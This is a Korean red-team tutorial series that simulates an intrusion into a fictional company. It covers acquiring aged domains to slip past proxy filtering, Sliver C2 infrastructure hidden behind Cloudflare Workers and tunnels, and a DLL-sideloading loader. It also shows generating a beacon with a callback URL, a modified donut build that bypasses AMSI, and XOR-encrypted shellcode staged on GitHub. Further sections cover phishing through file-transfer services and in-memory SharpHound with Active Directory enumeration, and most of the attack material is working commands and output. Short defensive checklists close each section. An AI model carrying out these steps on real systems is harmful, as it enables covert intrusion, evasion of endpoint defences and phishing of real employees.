공격자 도메인 없이도 레드팀은 가능하지만, 공격자 레벨과는 상관없이 대다수의 공격자들은 공격용 도메인을 구입한다. 도메인 에이징을 하기에는 시간이 없기 때문에 이미 만료된 도메인을 구입한다. 다음은 도메인 구입 시 고려할 점들이다:

* WBY: Whois 기준 도메인 생성년도
* BL: Majestic SEO 기준 Backlink 개수
* DP: Domain Pop 기준 Backlink 개수

생성년도는 2년 이상, BL과 DP또한 각각 두 자릿 수 이상이면 충분하다. 물론 높을 수록 좋다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FCVDGIODF7QKm5I7bl71s%2Fsetup-1-domainpurchase.png?alt=media&amp;token=bb8cf740-5f9a-4074-8cf9-627ccc97401f" alt=""><figcaption></figcaption></figure>

도메인 결정 후 구입하기 전, [Cloudflare Radar](https://radar.cloudflare.com/domains/feedback)를 사용해 도메인 카테고리를 확인한다. 이번 프로젝트에서 사용될 [shealthinsurance.com](http://shealthinsurance.com/) 도메인의 경우 18년 이상 된 도메인이고, BL과 DP 점수가 어느정도 있으며, 이미 도메인이 Economy, Finance, Health, Fitness로 카테고리화 되어 있다. 특히 Finance와 Health 카테고리가 중요하다. 대부분의 기업 프록시 같은 경우 아무리 프록시단에서 DPI를 진행한다고는 해도 금융과 건강 관련된 도메인에는 컴플라이언스 때문에 룰이 좀 느슨하거나, 심지어 DPI를 진행 안하는 경우가 있기 때문이다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FaCfdqVLuE41svHKd0dKz%2Fsetup2-domaincategorization.png?alt=media&amp;token=12ed149f-2c3c-4e45-a0cc-04a20a072c7e" alt=""><figcaption></figcaption></figure>

좋은 도메인을 구매하기 전, 마지막으로 바이러스 토탈, wayback machine 서비스를 이용해 해당 도메인이 과거에 악용되었었는지 확인한다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fpj6MnBBSzZGOFHimEVNz%2Fsetup3-domaincheck-with-vt.png?alt=media&amp;token=673f5e4d-7966-466f-a75f-166fddcf62e3" alt=""><figcaption></figcaption></figure>

좋은 도메인을 구했다면 레지스트라에서 가격을 확인한 뒤, 적당한 가격에 구입한다.

## 인프라 구성

공격에 인프라 구성은 정말 다양하게 할 수 있다. 어떤 서버와 서비스를 인터넷에 노출 시킬 것이냐부터, 작전보안, 현실성, 편리함의 밸런스까지, 어떤 가치를 최우선에 두느냐에 따라 수십 가지의 인프라가 만들어질수도, 아예 인프라 자체를 운영하지 않고 공격을 진행할 수도 있다.

다양한 종류의 인프라 및 인프라 구성, 배포 방법에 대해서는 레드팀에 정리를 많이 해놨으니 레퍼런스 섹션을 참고한다.

이번 베이직 레드팀 프로젝트에서는 현실적이고, 사용하기 편리하며, 간단한 인프라 구성을 클라우드 플레어 터널링과 Workers를 이용해 만든다. 자세한 내용은 [레드팀.com](https://www.xn--hy1b43d247a.com/infrastructure/cloudflared-tunnel-and-worker-redirector)에 정리해놨으니 기술적인 부분이 궁금하다면 참고한다.&#x20;

## 팀 서버 구축

팀 서버 자체는 클라우드에 구축하되, 인바운드 방화벽을 설정해 오퍼레이터 IP주소에서만 접근할 수 있도록 한다. 그 뒤, 포트 80, 443, 8443, 53 등 HTTP(S)/DNS 트래픽은 리다이렉터의 AWS 사설 IP에서만 받을 수 있도록 설정한다. 어차피 C2 서버에서 노출되는 포트는 22를 제외하면 없고, 모든 트래픽은 클라우드플레어의 터널을 통해 로컬호스트에서만 받을 것이기 때문에 22를 제외한 모든 포트를 인터넷에 노출시키지 않는다.

SSH 포트포워딩등의 다양한 방법을 써서 작전보안을 고려할 수도 있지만, 실제 프로덕션 레드팀 활동이 아닌 이상 아래와 같이 설정해도 충분하다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F4j6ZyFQBuEiLiVvo7d1A%2F0-c2-security-group.png?alt=media&amp;token=a6f7a7ed-2ab1-4947-a243-a4bfc117212e" alt=""><figcaption></figcaption></figure>

C2 프레임워크는 [러시아 대외정보국(SVR)](https://www.ncsc.gov.uk/files/Advisory%20Further%20TTPs%20associated%20with%20SVR%20cyber%20actors.pdf), [랜섬웨어 갱](https://www.cybereason.com/blog/sliver-c2-leveraged-by-many-threat-actors) 뿐만 아니라, [한국을 대상](https://asec.ahnlab.com/en/55652/)으로 공격을 실행하는 실제 공격자들도 많이 사용하고 있는 Sliver(슬리버)를 이용한다.

슬리버 설치 후 기본 프로필을 사용하지 않고 [Malleable C2 프로필](https://www.xn--hy1b43d247a.com/defense-evasion/malleable-c2-profile)을 사용하기 위해 실제로 Ruby on Rails 관련 서버들에서 사용하는 URL 경로, 파일 이름 등이 들어간 파일을 사용해 프로필을 제작한다.

```
# 슬리버 1.5.42 설치 및 실행
apt update -y
curl <https://sliver.sh/install|sudo> bash
sliver

# armory 설치 후 https 리스너 실행
s> armory install all
s> https

# Malleable C2 프로필 적용
wget https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/ror.txt

python3 generateC2Profile.py default_c2profile ror.txt _session_id
cp ~/.sliver/configs/http-c2.json ~/.sliver/config/http-c2.json.bak

# 리스너 재시작
s> jobs -K
s> https -c /root/fullchain.pem -k /root/key.pem  // cerbot을 이용해 받아온 인증서 사용 
```

## 인프라

위와 같이 인프라 구성이 끝났다면 C2 서버는 Sliver, 네트워크 트래픽은 Sliver의 Malleable C2 로 인해 변경된 트래픽이 통신된다. 슬리버 에이전트의 통신은 다음과 같이 일어날 것이다.

1. (타겟) Sliver 에이전트 --> (Cloudflare) <커스텀도메인>.workers.dev 로 콜백
2. (Cloudflare Worker) 워커로 들어온 네트워크 트래픽 HTTP Header, User-Agent, IP 주소 등을 통해 확인. 검증된 트래픽만 Cloudflared 터널으로 전송
3. (Cloudflared Tunnel) 터널로 들어온 트래픽의 Access Token 검증, 검증이 된다면 C2 서버의 127.0.0.1:443으로 전송
4. (C2 서버) 서버의 포트 443 리스너로 들어온 트래픽을 Malleable C2 Profile을 통해 검증. 트래픽이 맞다면 에이전트와 통신

기본적으로 위와 같은 통신은 공격자 인프라로서 다음의 목적을 달성한다.

1. 타겟의 네트워크에서는 클라우드플레어의 Workers.dev라는 합법적인 도메인으로 나가는 Outbound 트래픽만 보이게 한다
2. Sliver C2를 사용한다는 것을 눈치채지 못하도록 모든 네트워크 트래픽을 Malleable C2 프로필로 바꾼다 (http header, parameters, url, cookies, user-agent, url path, 등등...)
3. 클라우드 플레어 터널링을 통해 C2 서버의 인터넷 노출 최소화한다.

## 우리 회사는

* Workers.dev, Pages.dev, azureedge.net, azure-api.net, azurewebsite.net 등의 legitimate 한 클라우드 서비스들의 엔드포인트가 공격자들의 C2 엔드포인트 및 리다이렉터로 사용될 수 있음을 인지하고, 이에 대한 대응을 하고 있는가?
* C2 서버들이 단순히 정해진 URL 경로나 파라미터들을 사용하는 것이 아니라, Malleable C2를 사용해 언제든지 네트워크 트래픽을 변경하고 숨길 수 있다는 것을 인지하고 있는가?
* 비컨, 에이전트와 같이 일정한 시간대, 일정한 트래픽을 특정 도메인이나 IP 주소 등으로 계속해서 보내는 엔드포인트들에 대한 능동적 점검 및 SIEM/방화벽/프록시 로그 모니터링을 진행하고 있는가?

## 마치며&#x20;

인프라를 구성해봤으니 초기 침투를 진행한다.

## 레퍼런스&#x20;

* 인프라 구성 개념: <https://www.xn--hy1b43d247a.com/infrastructure/concepts>
* 도메인 프론팅1: <https://www.xn--hy1b43d247a.com/infrastructure/domain-fronting>
* 도메인 프론팅2: <https://www.xn--hy1b43d247a.com/infrastructure/domain-fronting-azure-edgio-cdn>
* HTTP/S 리다이렉터: <https://www.xn--hy1b43d247a.com/infrastructure/https-redirector>
* 피싱 인프라 - 자체 메일 서버: <https://www.xn--hy1b43d247a.com/infrastructure/smtp-do>
* 피싱 인프라 - ESP: <https://www.xn--hy1b43d247a.com/infrastructure/smtp-aws-zoho>
* 피싱 인프라 - 자체 메일 + ESP: <https://www.xn--hy1b43d247a.com/infrastructure/smtp-toolkit-relay-esp>
* 인프라 구축 자동화 - 테라폼: <https://www.xn--hy1b43d247a.com/infrastructure/infra-automation>
* 네뷸라를 이용한 내부 VPN 인프라: <https://www.xn--hy1b43d247a.com/infrastructure/old>


# 2. 초기 침투

이번 섹션에서는 다음의 주제들을 다룬다:

* DLL Sideloading
* 페이로드 무기화 및 전송
* 파일 전송 서비스를 이용한 피싱 이메일 전송

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FsrKvXOVWtUPllgbRLDkk%2FAttackPath0-Phishing.drawio.png?alt=media&amp;token=0a5b8ecb-532b-46fd-9098-a87138532f4c" alt=""><figcaption></figcaption></figure>

이번 섹션에서는 라쿤 테크의 사내망에 침투하기 위한 초기 침투용 페이로드를 만드는 방법과 전송하는 방법에 대해서 다룬다.

초기침투에는 다양한 방법이 있다.

* 피싱 - 페이로드
* 피싱 - AitM
* 피싱 - AAD/EntraID (Device Code, QR, Illicit Consent Grant, ...)
* OSINT/다크웹 - 계정 정보/API 키 탈취 후 VPN, 원격 접속 (VDI/RMM), 클라우드 해킹, 등
* 물리 침투 이후 임플랜트 설치
* 침해가정 시나리오
* 외부망 해킹 - 제로데이, CVE, n-day 익스플로잇, 웹/모바일 해킹, 등

레드팀.com에 이미 정리해둔 방법들도 있지만 ([1](https://www.xn--hy1b43d247a.com/infrastructure/smtp-toolkit-relay-esp), [2](https://www.xn--hy1b43d247a.com/initial-access/aitm), [3](https://www.xn--hy1b43d247a.com/initial-access/html-smuggling)), 세팅하는데 시간이 너무 오래 걸리니 가장 간단한 파일 전송 서비스들을 이용한 페이로드 피싱 방법을 사용한다. 피싱을 하기 전, 페이로드부터 간단하게 제작한다.

## 페이로드

다양한 페이로드를 사용할 수 있지만, 이번 프로젝트에서는 여전히 실제 공격자들이 많이 사용하고 있는 [DLL 사이드로딩](https://www.xn--hy1b43d247a.com/persistence/dll-sideloading)을 사용한다. 사이드로딩 형식은 암호화된 압축 파일 안에 일반 DLL + 악성 DLL (로더) + 암호화된 쉘코드 + 정상 EXE 파일을 사용한다.

정상 EXE 파일과 악성 DLL 파일의 코드를 공유할 수는 없지만, 악용을 막기 위해 바이러스토탈에 올린 결과를 공개한다. 궁금하신 분들은 VT API와 VT 해시를 이용해 다운 받은 뒤, 리버싱 하면 된다. 리버싱 결과를 레드라쿤에 공유해주시면 감사하겠다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FfC5xS4zi9JTxH7U80f6O%2F0-version-payload-vt.png?alt=media&amp;token=e68a54d5-aefb-4c79-8c99-d70b95948b6d" alt=""><figcaption></figcaption></figure>

<https://www.virustotal.com/gui/file/2b7ec56f643de87ba815836d94934d89faba08883a2d01caf7dc83cb276a97aa>

동적 분석 결과가 없는 바이러스토탈 결과에 큰 의미는 없다. 하지만 간단하게 만든 것 치고는 정적 분석에서 Big 3 EDR (CrowdStrike, MDE, SentinelOne)에 걸리지 않았다는 것으로 만족한다. Module Stomping, Callstack spoofing, PoolParty등의 고급 기법이 없어도 정적 분석 결과가 괜찮게 나왔다. DLL 사이드로딩이야 잘 알려진 기법이고 실제 EDR 솔루션들을 상대로 사용하면 잡힐 확률이 높겠지만, 적어도 이번 프로젝트에서 상대할 full 디펜더나 AV 백신 등을 우회하는데에는 큰 어려움이 없을 것이다.

페이로드의 정확한 작동 방법은 리버싱을 할 독자분들께 맡긴다. 아래는 페이로드에 대한 간단한 설명이다.

* 대다수의 대한민국 국민, 그리고 기업 윈도우 컴퓨터에 설치되어 있는 원드라이브(Onedrive) 업데이터 파일 사용
* HellsHall을 이용한 indirect syscall
* LOTS 웹사이트를 이용한 Staged 쉘코드
* 대상 시스템에 이미 존재하는 프로세스에 대한 원격 프로세스 인젝션
* Mutex를 이용해 DLL 사이드로딩이 여러번 실행되지 않도록 조치
* 코드 서명을 사용해 합법적인 PE 파일처럼 보이게 조치

로더가 준비 되었다면 로더가 DLL 사이드로딩 시 불러올 쉘코드를 준비한다. 슬리버를 이용해 쉘코드 생성 뒤, pyHellShell을 이용해 xor 암호화를 한다. 그 뒤, LOTS를 이용하기 위해 잘 알려진 서비스들 - 구글 드라이브, 깃허브, AWS S3 버킷, Azure Data blob, 네이버 클라우드 등 - 에다 업로드 해놓는다.

## 쉘코드

* 쉘코드 생성 시 도메인 프론팅을 사용하기 위해 콜백 주소는 클라우드플레어의 워커 URL인 `https://tiny-bar-f413.fonts-cdn.workers.dev` 를 사용한다.
* 2024년 11월 기준 마이크로소프트사에서 드디어 AMSI 우회 페이로드들에 대한 본격적인 탐지를 시작했다. 특히 donut 을 사용해 만들어진 쉘코드안에 들어가는 AMSI\_BYPASS\_B 종류는 바로바로 잡아내고 있다.
* 때문에 슬리버에서 바로 쉘코드를 생성하지 말고 EXE를 먼저 만들어낸 뒤, AMSI 우회 페이로드를 변경한 donut을 사용해 슬리버 EXE를 쉘코드 형태로 변환한다.

```
# 1. 슬리버로 EXE 파일 생성
s> generate beacon -S 5 -J 1 -f exe -s /tmp/sliver.exe -b https://tiny-bar-f413.fonts-cdn.workers.dev

# 2. AMSI 우회 페이로드를 변경한 도넛 사용
git clone <https://github.com/TheWover/donut.git>
cd ./donut
sed -i 's/BYPASS_AMSI_A/BYPASS_AMSI_C/g' Makefile.mingw
make

./donut -i /tmp/sliver.exe -o /tmp/robots.bin

# 3. 쉘코드 XOR 암호화
python3 pyhellshell.py -i /tmp/robots.bin -e xor -k microsoft -f raw -out /tmp/robots.txt

[i] Input file          : /tmp/sliver.bin
[i] Encryption method   : xor
[i] Obfuscation method  : None
[i] Output format       : raw
[i] Output file         : /tmp/robots.txt

key: b'microsoft'
key length: 9
[+] Saved to file: /tmp/robots.txt

#define PayloadSize 17147202

```

이후 LOTS 사용을 위해 깃허브에 쉘코드를 업로드한다. 이후 위에서 만든 DLL 사이드로드 로더가 해당 깃허브 리포에서 암호화된 쉘코드를 다운받아 실행할 것이다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fz4L6oFKB75IoQhrWWge8%2F0-droptest-robots.txt.png?alt=media&amp;token=55fd1db7-708e-49cf-9b08-eb83927eae6e" alt=""><figcaption></figcaption></figure>

## 파일 전송 서비스

페이로드가 준비 되었다면 무료 파일 전송 서비스인 TransferNow를 이용해 해당 페이로드를 전송한다. 파일 전송 서비스들은 예전부터 존재했지만, 요새 특히 SaaS 형태로 컴백 하고 있는 듯 하다. TransferNow, Send-Anywhere, Wetransfer, Hightail 등, 다양한 서비스들이 회원 가입 없이도 아무나 이메일로 파일을 전송할 수 있게 해주고 있다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fu3tMruoeefkZLFi7KicZ%2Fsetup5-1-transfernow-email.png?alt=media&amp;token=21a95134-26e1-430f-ad88-995471d399be" alt=""><figcaption></figcaption></figure>

파일 전송 서비스의 가장 큰 장점 중 하나는 바로 높은 신뢰도다. 워낙 많이 사용되는 서비스다 보니 웬만해서는 이메일 게이트웨이를 뚫고 대상의 받은 이메일함에 도착할 확률이 높다. 공격자의 입장에서는 귀찮은 도메인 신뢰도, 메일 서버 관리, SPF, DKIM, DMARC 등을 신경쓰지 않아도 된다.

예를 들어 구글(개인), 구글 워크스페이스(기업), 네이버(개인) 등의 기본적인 이메일 보안을 갖고 있는 메일함을 상대로는 아무런 경고 없이 받은 메일함에 도착하는 것을 볼 수 있다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FekP6lj0zesPhiZ0K4uBb%2Fsetup4-simple-phishing-transfernow.png?alt=media&amp;token=0766952f-d319-4c31-8812-eb63493c3d30" alt=""><figcaption></figcaption></figure>

## 우리 회사는

* DLL-Sideloading이 일어날 때, Self-Injection, Reflective DLL Injection, Remote Process Injection, 바이너리 실행 등, 엔드포인트에서 일어나는 악성 행위들을 탐지하고 방지할 수 있는 EDR 솔루션들이 설치되어 있는가?
* 엔드포인트에서 발생하는 로그를 모아 관리하고 모니터링할 수 있는 SIEM이 있는가?
* TransferNow, Send-Anywhere, Wetransfer 등의 다양한 파일 전송 서비스들의 도메인 및 이메일 양식을 파악한 뒤 차단하고 있는가?
* 이메일 게이트웨이는 수상한 파일 첨부를 파악하고 차단하고 있는가?


# 3. 정보 수집

이번 섹션에서는 다음의 주제들을 다룬다:

* 호스트+네트워크 정보 수집 및 맥락 확인
* 호스트+네트워크 정보 및 맥락을 기반으로 한 후속 공격 결정
* 도메인 정보 수집
* Beacon Object Files (BOF) 사용

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FftsllZFVFqMZtOZLqEdU%2FAttackPath.drawio%20(1).png?alt=media&amp;token=1e94af9e-76f2-48f3-8e7a-f895471cdbc5" alt=""><figcaption></figcaption></figure>

## 맥락 확인

피싱 이메일을 통해 슬리버 콜백이 일어나면 이제 본격적으로 라쿤테크의 사내망안에 있는 호스트와 소통할 수 있다. 본격적인 정보 수집에 들어가기 전에 먼저 에이전트가 어떤 맥락에서 실행되고 있는지를 확인한다. 레드팀의 경우 대상 네트워크 및 호스트에서 발생하는 트래픽에 자연스럽게 녹아들어가는 것이 중요하기 때문에 에이전트의 현 맥락을 확인하고 그에 맞는 TTP를 준비하는 것이 중요하다.

예를 들어 explorer.exe > word.exe > werfault.exe 프로세스 트리에서 실행중인 x86 에이전트 프로세스가 갑자기 [www.attacker.com으로](http://www.attacker.com으로) HTTPS 트래픽을 보내 4MB 짜리 데이터를 다운 받아 notepad.exe 자식 프로세스를 만든 뒤 fork\&run을 실행한다면, 전혀 맥락에 맞지 않기에 탐지될 확률이 높을 것이다.

확인해야하는 맥락들 중 중요한 정보는 다음과 같다.

* Where am I - 호스트 이름, IP, DNS 서버, Dual/Multi-homed 여부, 등
* whoami - 유저, 소속 도메인 그룹, 소속 로컬 그룹, 등
* Integrity 레벨 - Medium or High
* Arch - x86, x64, x86\_64 여부
* 현재 프로세스의 이름, PID, 및 PPID, 부모 프로세스 등의 프로세스 트리 정보

## 호스트 정보 수집

위 정보를 가져올 기본적인 호스트 정보 수집을 진행한다.

엔드포인트의 슬리버 비컨에서 이뤄지는 모든 정보 수집 및 후속 공격은 BOF를 사용하거나 execute-assembly를 이용한다.

```
// ========== 기본 정보 ============
sliver (KIND_HORNET) > info 

          Hostname: uswkstn01
          Username: US\johndoe.smith
               UID: S-1-5-21-3171536543-709093172-2066445559-1859
               GID: S-1-5-21-3171536543-709093172-2066445559-513
               PID: 10180
                OS: windows
           Version: 10 build 22621 x86_64

// ========== 운영체제 ============
Windows 11 Enterprise, OS build number: 22621.525

// ========== Whoami ============
sliver (KIND_HORNET) > sa-whoami

UserName                SID 
====================== ====================================
US\johndoe.smith        S-1-5-21-3171536543-709093172-2066445559-1859

US\Domain Users
BUILTIN\Remote Desktop Users
Mandatory Label\Medium Mandatory Level

// ========== 프로세스 ============
sliver (TOUGH_BREADCRUMB) > c2tc-psm 10180                                                                                                                                                                                     
[*] Got output:                                                               
[I] ProcessName:   OneDrive.exe (implant process)
    ProcessID:     10180
    PPID:          4724 (Non-existent process)
    CreateTime:    12/01/2025 21:33
    SessionID:     4
    Path:          C:\Users\johndoe.smith\AppData\Local\Microsoft\OneDrive\OneDrive.exe

sliver (KIND_HORNET) > c2tc-psx

[!] Security products found: 3
    ProcessID:     2456
    Vendor:        Microsoft Corporation
    Product:       Antimalware Service Executable

// ========== 업타임 & 세션 ============ 
sliver (TOUGH_BREADCRUMB) > sa-uptime

Uptime: 6 days, 22 hours, 53 minutes, 41 seconds
Local time: 2025-01-18 21:27:19

sliver (TOUGH_BREADCRUMB) > sa-enum-local-sessions

Enumerating sessions for local system:
  - [1] (Disconnected): USWKSTN01\localuser
  - [4] RDP-Tcp#1: US\johndoe.smith
```

호스트 맥락을 정리하자면 다음과 같다:

* 현재 우리의 비컨은 US 도메인의 uswkstn01에서, US\johndoe.smith 유저의 세션에서 실행중이다.
* DLL Sideloading 이후 OneDrive.exe 프로세스에 인젝션이 된채 worker.exe로 콜백하고 있다.
* 로컬 그룹은 Remote Desktop Users외 다른 것은 보이지 않기 때문에, 현재 johndoe.smith 도메인 유저는 uswkstn01에 RDP만 가능한 권한을 갖고 있다.
* Integrity Level은 일반 유저 권한임으로 Medium이다.
* johndoe.smith 유저는 uswkstn01에 RDP한 상태이며, 거의 6일 22시간 동안 계속해서 RDP 해 있는 상태이다. 콘솔 세션이 아니고, 호스트 이름(uswkstn01)으로 미뤄봤을 때 VDI 환경일 가능성이 높다.

호스트 맥락을 기반으로 몇 가지 결정을 내릴 수 있다:

* 프로세스: OneDrive에서 클라우드플레어의 `workers.dev`로 HTTP 요청을 주고 받는 것은 수상하다. 하지만 추가 프로세스 인젝션은 작전보안상 위험하기도 하고, M365를 사용하는 회사의 경우 OneDrive.exe 프로세스가 엔드포인트 보안에서 예외처리 되어 있거나, 탐지가 느슨한 경우도 많다. 따라서 일단은 해당 프로세스에서 진행한다.
* 지속성 유지: 업타임이 6일 22시간이고, 토요일 오후 9시 27분에 RDP 세션이 아직 살아있는 것으로 보아 회사내에서 RDP 세션 강제종료 관련된 설정/GPO가 없는 것 같다. 당분간은 지속성 유지를 안해도 될 것 같다.
* Arch: x64 운영체제에 x64 프로세스기 때문에 x86, x64 걱정은 안해도 될 것 같다.
* 엔드포인트 보안: 프로세스 및 Load 된 모듈(DLL)에 EDR 관련된 정보가 없다. 기본 윈도우 디펜더만 돌아가고 있는 상황이다. 작전보안은 크게 생각 안해도 되기 때문에 후속 공격도 파워쉘 정도만 피하면 execute-assembly, BOF, 심지어는 온-디스크 페이로드 업로드도 가능할 것 같다.

## 네트워크 정보 수집

본격적인 네트워크 및 AD 도메인 정보 수집 전 호스트의 네트워크 관련 맥락을 살펴본다.

```
sliver (TOUGH_BREADCRUMB) > sa-ipconfig
[*] Got output:
{BD800945-B9A1-44D2-84BC-F928CDE1201E}
        Ethernet
        Red Hat VirtIO Ethernet Adapter
        BC-24-11-47-B3-32
        10.2.30.100


Hostname:       uswkstn01
DNS Suffix:     us.rt.local
DNS Server:     10.2.30.10

sliver (TOUGH_BREADCRUMB) > sa-routeprint
Active Routes:                                                                                                                                              
Network Destination        Netmask          Gateway       Interface  Metric     
          0.0.0.0          0.0.0.0      10.2.30.254               6      271
        10.2.30.0    255.255.255.0      10.2.30.100               6      271
      10.2.30.100  255.255.255.255      10.2.30.100               6      271
      10.2.30.255  255.255.255.255      10.2.30.100               6      271

sliver (TOUGH_BREADCRUMB) > c2tc-domaininfo

[+] DomainName:
    us.rt.local
[+] DnsForestName:
    rt.local
[+] DomainControllerName (PDC):
    \\udc01.us.rt.local
[+] DomainControllerAddress (PDC):
    \\10.2.30.10
[+] Default Domain Password Policy:
    Password history length: 24
    Maximum password age (d): 42
    Minimum password age (d): 1
    Minimum password length: 0
[+] Account Lockout Policy:
    Account lockout threshold: 0
    Account lockout duration (m): 10
    Account lockout observation window (m): 10
```

네트워크 맥락을 정리하면 다음과 같다:

* uswkstn01.us.rt.local 호스트의 IP주소는 10.2.30.100이며, 10.2.30.0/24 네트워크에 있다.
* 도메인 이름은 us.rt.local (US)고, 그 위 부모 도메인은 rt.local (RT), 도메인 컨트롤러는 udc01.us.rt.local (10.2.30.10)이다.
* 도메인 비밀번호 정책이 굉장히 취약하다. 잠금 임계치 설정값이 0이기 때문에 비밀번호 스프레잉 및 브루트포싱을 실행하는데 아무런 제약이 없다.

## 도메인 정보 수집

도메인 정보 수집을 진행할 때 가장 중요한 것은 바로 LDAP 정보를 수집하는 것이다. 무작정 BloodHound로 모든 LDAP 정보를 가져올 수도 있겠지만, 탐지될 수도 있으니 일단은 Organization Unit들을 파악하는 OU Walking을 먼저 진행한다.

```
sliver (TOUGH_BREADCRUMB) > sa-ldapsearch "(objectClass=organizationalUnit)" distinguishedName 10 10.2.30.10 DC=us,DC=rt,DC=local

[*] Filter: (objectClass=organizationalUnit)
[*] Returning specific attribute(s): distinguishedName

[*] Result count: 19 (showing max. 10)

--------------------
distinguishedName: OU=Houston,DC=us,DC=rt,DC=local
--------------------
distinguishedName: OU=SanFrancisco,DC=us,DC=rt,DC=local
--------------------
distinguishedName: OU=SuperUsers,DC=us,DC=rt,DC=local
--------------------
distinguishedName: OU=External,DC=us,DC=rt,DC=local
--------------------
distinguishedName: OU=Accounts,OU=Houston,DC=us,DC=rt,DC=local
--------------------
distinguishedName: OU=Computers,OU=Houston,DC=us,DC=rt,DC=local
--------------------
distinguishedName: OU=Servers,OU=Computers,OU=Houston,DC=us,DC=rt,DC=local
```

OU 워킹을 기반으로 라쿤테크는 다음과 같은 OU 체계를 갖췄다라는 것을 예상할 수 있다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F6Bx7U65FmTopptYDBgFS%2Fenum-domain-1.png?alt=media&amp;token=cd1a538d-4a50-4f9e-b4ff-0bc58994105a" alt=""><figcaption></figcaption></figure>

기본 OU들을 제외하고 Houston과 SanFrancisco라는 도시 별 OU를 생성하고, 그 아래에 Account, Computers, Groups, Servers 등의 OU를 추가로 둬서 관리하는 형식의 전형적인 AD 구성도다. 특이한 점이 있다면 나라가 아니라 도시 별 OU를 생성했다는 것인데, 규모가 작은 해외법인, 지사 등의 경우에는 그럴 수 있다.

OU Walking을 끝낸 뒤에는 정보를 바탕으로 더 많은 LDAP 데이터들을 가져온다. 탐지를 우회하기 위해 최대한 작은 LDAP 쿼리로 조금씩 정보를 가져와서 BOFHound 등의 툴로 블러드하운드 JSON으로 전환하는것이 좋다. 아래는 몇개 예시다:

```
# Retrieve All Schema Info
ldapsearch (schemaIDGUID=*) name,schemaidguid 0 3 "" CN=Schema,CN=Configuration,DC=windomain,DC=local

# Query domain trusts
ldapsearch (objectclass=trusteddomain) *,ntsecuritydescriptor

# Unroll a group's nested members
ldapsearch (memberOf:1.2.840.113556.1.4.1941:=CN=TargetGroup,CN=Users,DC=windomain,DC=local) *,ntsecuritydescriptor
```

하지만 bofhound를 사용하기 위한 로그나 툴(코발트스트라이크, Havoc, BRC4, Outflank C2, 등)도 없고, 라쿤테크의 보안 상황을 봤을 때 도메인컨트롤러단의 LDAP 쿼리 탐지가 없을 확률이 높기 때문에 SharpHound를 돌려도 상관 없을 것 같다. 따라서 간단한 .NET 기반의 난독화를 진행한 뒤, SharpHound를 에이전트의 메모리상에서 `inline-execute-assembly`로 실행한다.

.NET 난독화는 날이 갈수록 그 중요도를 잃고 있지만, 그래도 기본적인 AMSI/ETW 우회 및 탐지에 안걸리기 위해서는 필수적이기도 하다. 30분 정도 투자해 몇 가지 오픈소스 툴 및 수동 난독화를 진행하면 나쁘지 않은 결과를 얻어낼 수 있다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FBjHZ8FBijlErQdv6CDVn%2Fenum-domain-sharphound-obfuscated.png?alt=media&amp;token=545b081c-1a44-45b9-8941-150c30e1986b" alt=""><figcaption></figcaption></figure>

위의 SharpHound 닷넷 어셈블리는 EXE 상태로 바이러스토탈에 올렸을 때 6개의 AV/EDR 솔루션들이 잡아냈다. 다행인 점은 가장 중요한 빅3(CrowdStrike, MDE, SentinelOne)이 잡아내지 않았다는 것이다. 또한, 어차피 쉘코드 상태로 메모리상에서 실행될 것이기 때문에 바이러스 토탈의 정적 분석에서 위 결과만 나와도 쓸만하다.

위험한 fork\&run 보다는 현재 슬리버 비컨 프로세스에서 바로 실행하는 `inline-execute-assembly`를 이용해 SharpHound를 실행한 뒤, LDAP 정보 수집을 한다.

```
sliver (TOUGH_BREADCRUMB) > inline-execute-assembly /root/funtimes.exe "-c DCOnly --stealth --forcesecureldap --zipfilename crashdump --zippassword test --distinguishedname DC=us,DC=rt,DC=local"

2025-01-19T10:23:08.5146955+09:00|INFORMATION|Status: 660 objects finished (+660 Infinity)/s -- Using 172 MB RAM
2025-01-19T10:23:08.5146955+09:00|INFORMATION|Enumeration finished in 00:00:00.4223998
2025-01-19T10:23:08.5459412+09:00|INFORMATION|Saving cache with stats: 20 ID to type mappings.
 0 name to SID mappings.
 0 machine sid mappings.
 8 sid to domain mappings.
 0 global catalog mappings.
2025-01-19T10:23:08.5615659+09:00|INFORMATION|SharpHound Enumeration Completed at 10:23 AM on 1/19/2025! Happy Graphing!

// 다운로드 
download 20250119085621_crashdump.zip 
```

도메인 트러스트 관계를 이용해 부모 도메인 및 다른 자식 도메인도 정보 수집을 할 수 있지만, 일단 탐지에 안걸리기 위해 현재 있는 US 도메인을 상대로 정보 수집을 진행한다.

